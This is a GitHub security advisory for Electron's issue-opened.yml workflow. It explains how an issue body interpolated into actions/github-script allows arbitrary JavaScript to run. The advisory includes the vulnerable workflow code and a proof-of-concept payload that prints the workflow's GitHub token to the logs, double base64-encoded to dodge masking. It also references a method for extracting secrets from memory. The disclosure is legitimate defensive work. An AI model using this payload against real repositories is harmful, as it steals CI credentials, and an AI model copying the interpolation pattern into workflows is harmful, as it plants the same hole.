Skip to content

Resource injection in the issue-opened.yml workflow leads to execution of arbitrary JavaScript code within a privileged workflow

Moderate
MarshallOfSound published GHSA-2hfc-r8fq-92h7 Mar 27, 2024

Package

actions electron/electron/.github/workflows/issue-opened.yml (GitHub Actions)

Affected versions

4f76fff97879ee8f9b2d0dcfd43e686ff8757c69

Patched versions

c86e4cb9ce7546324970ceb6e85ad7001df4318c

Description

Summary

The issue-opened.yml workflow injects a user-controlled data from an issue's body to the script parameter of the actions/github-script action. Since the script parameter accepts a JavaScript code for execution it allows a user to inject arbitrary JavaScript code and gain access to the ISSUE_TRIAGE_GH_APP_CREDS encrypted secret and the GitHub App token.

Details

The issue-opened.yml workflow uses the expression ${{ github.event.issue.body }} to pass an issue's body to the JavaScript code:

# https://github.com/electron/electron/blob/4f76fff97879ee8f9b2d0dcfd43e686ff8757c69/.github/workflows/issue-opened.yml
name: Issue Opened

on:
  issues:
    types:
      - opened

permissions: {}

jobs:
  # ...
  set-labels:
    if: ${{ contains(github.event.issue.labels.*.name, 'bug :beetle:') }}
    runs-on: ubuntu-latest
    steps:
      # ...
      - name: Add labels
        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
        with:
          github-token: ${{ steps.generate-token.outputs.token }}
          script: |
            // ...

            const tree = fromMarkdown(`${{ github.event.issue.body }}`);

            // ...

It means that user-controlled data will be directly injected to the JavaScript code before execution.

PoC

I used a private test environment to avoid vulnerability disclosure.

As an owner:

  1. Create a new repository.
  2. Create the .github/ISSUE_TEMPLATE/bug_report.yml file and copy content from https://github.com/electron/electron/blob/4f76fff97879ee8f9b2d0dcfd43e686ff8757c69/.github/ISSUE_TEMPLATE/bug_report.yml
  3. Go to Issues > Labels and add new label with name bug :beetle:
  4. Create the .github/workflows/issue-opened.yml file with the following content (I removed unnecessary jobs and steps because they do not affect exploitation but complicate the reproduction):
name: Issue Opened

on:
  issues:
    types:
      - opened

permissions: {}

jobs:
  set-labels:
    if: ${{ contains(github.event.issue.labels.*.name, 'bug :beetle:') }}
    runs-on: ubuntu-latest
    steps:
      - run: npm install mdast-util-from-markdown@2.0.0 unist-util-select@5.1.0
      - name: Add labels
        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
        with:
          github-token: ${{ github.token }}
          script: |
            const { fromMarkdown } = await import('${{ github.workspace }}/node_modules/mdast-util-from-markdown/index.js');
            const { select } = await import('${{ github.workspace }}/node_modules/unist-util-select/index.js');

            const [ owner, repo ] = '${{ github.repository }}'.split('/');
            const issue_number = ${{ github.event.issue.number }};

            const tree = fromMarkdown(`${{ github.event.issue.body }}`);

            const labels = [];

            const gistUrl = select('heading:has(> text[value="Testcase Gist URL"]) + paragraph > text', tree)?.value.trim();
            if (gistUrl !== undefined && gistUrl.startsWith('https://gist.github.com/')) {
              labels.push('has-repro-gist');
            }

            if (labels.length) {
              await github.rest.issues.addLabels({
                owner,
                repo,
                issue_number,
                labels,
              });
            }

As an attacker:

  1. Go to Issues and click New issue.

  2. Click Get started for the Bug Report tamplate.

  3. Scroll down and add the following payload to the Additional Information field:

    `);console.log(btoa(btoa(process.env['INPUT_GITHUB-TOKEN'])));//
    
  4. Click Submit new issue.

  5. Wait for the Issue Opened workflow to complete.

  6. Check out the workflow logs, they will contain the GitHub token in base64, like this:

Screenshot 2024-03-27 at 13 12 10

Impact

This vulnerability allows an attacker to gain unauthorized access to the GitHub App token issued by the electron/github-app-auth-action action in runtime and to the ISSUE_TRIAGE_GH_APP_CREDS encrypted secret.

The GitHub App token can be directly accessed from environment variables as shown in the PoC. Meanwhile, the ISSUE_TRIAGE_GH_APP_CREDS can be exfiltrated from memory, see https://0xn3va.gitbook.io/cheat-sheets/ci-cd/github/actions#exfiltrating-secrets-from-memory

Both tokens can be used to gain read and write access to the electron/electron repos issue and projects scopes.

Severity

Moderate
6.4
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

CVE ID

No known CVE

Weaknesses

Credits